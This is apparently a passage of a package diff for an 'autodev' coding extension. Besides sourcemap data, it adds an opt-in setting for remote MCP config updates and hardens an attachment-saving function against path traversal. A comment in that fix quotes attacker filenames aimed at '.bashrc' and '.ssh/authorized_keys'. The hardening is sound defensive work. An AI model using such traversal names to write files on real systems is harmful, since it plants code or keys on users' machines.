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"}
|
|
@@ -32,6 +32,14 @@ export interface AutodevSettings {
|
|
|
32
32
|
rdpGuacWsUrl: string;
|
|
33
33
|
enableFileBrowser: boolean;
|
|
34
34
|
gitEnabled: boolean;
|
|
35
|
+
/**
|
|
36
|
+
* Opt-in: honor `mcp_update` frames pushed over the WS channel. When false
|
|
37
|
+
* (default), inbound mcp_update frames are ignored. Writing remote-supplied
|
|
38
|
+
* MCP server config spawns stdio child processes on restart, so this is a
|
|
39
|
+
* code-execution surface and must be explicitly enabled (mirrors
|
|
40
|
+
* enableFileBrowser / gitEnabled). Even when enabled, entries are validated.
|
|
41
|
+
*/
|
|
42
|
+
mcpUpdateEnabled: boolean;
|
|
35
43
|
hooksEnabled: boolean;
|
|
36
44
|
hooksScope: 'project' | 'global';
|
|
37
45
|
openCodeHooksEnabled: boolean;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"settingsLoader.js","sourceRoot":"","sources":["../../src/core/settingsLoader.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
1
|
+
{"version":3,"file":"settingsLoader.js","sourceRoot":"","sources":["../../src/core/settingsLoader.ts"],"names":[],"mappings":"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"}
|
package/out/messageBuilder.js
CHANGED
|
@@ -199,12 +199,24 @@ function timestamp() {
|
|
|
199
199
|
* Returns the workspace-relative forward-slash path (suitable for embedding in .md).
|
|
200
200
|
*/
|
|
201
201
|
function saveAttachment(workspaceRoot, filename, data, groupId) {
|
|
202
|
-
|
|
203
|
-
|
|
202
|
+
// Reduce group + filename to leaf names and strip leading dots/whitespace so a
|
|
203
|
+
// fully attacker-controlled attachment name can't escape the attachments dir
|
|
204
|
+
// (e.g. "../../../../home/autodev/.bashrc" or "../../.ssh/authorized_keys").
|
|
205
|
+
const rawGroup = groupId ?? `${timestamp()}_${crypto.randomBytes(4).toString('hex')}`;
|
|
206
|
+
const safeGroup = path.basename(rawGroup).replace(/^[.\s]+/, '')
|
|
207
|
+
|| `${timestamp()}_${crypto.randomBytes(4).toString('hex')}`;
|
|
208
|
+
const dir = path.join(workspaceRoot, exports.ATTACHMENTS_DIR, safeGroup);
|
|
204
209
|
if (!fs.existsSync(dir)) {
|
|
205
210
|
fs.mkdirSync(dir, { recursive: true });
|
|
206
211
|
}
|
|
207
|
-
const
|
|
212
|
+
const safeName = path.basename(filename).replace(/^[.\s]+/, '') || 'attachment';
|
|
213
|
+
const filePath = path.join(dir, safeName);
|
|
214
|
+
// Belt-and-suspenders containment check — never write outside the attachments dir.
|
|
215
|
+
const resolvedDir = path.resolve(dir);
|
|
216
|
+
if (path.resolve(filePath) !== path.join(resolvedDir, safeName)
|
|
217
|
+
|| !path.resolve(filePath).startsWith(resolvedDir + path.sep)) {
|
|
218
|
+
throw new Error('saveAttachment: refusing to write outside attachments directory');
|
|
219
|
+
}
|
|
208
220
|
if (Buffer.isBuffer(data)) {
|
|
209
221
|
fs.writeFileSync(filePath, data);
|
|
210
222
|
}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"messageBuilder.js","sourceRoot":"","sources":["../src/messageBuilder.ts"],"names":[],"mappings":"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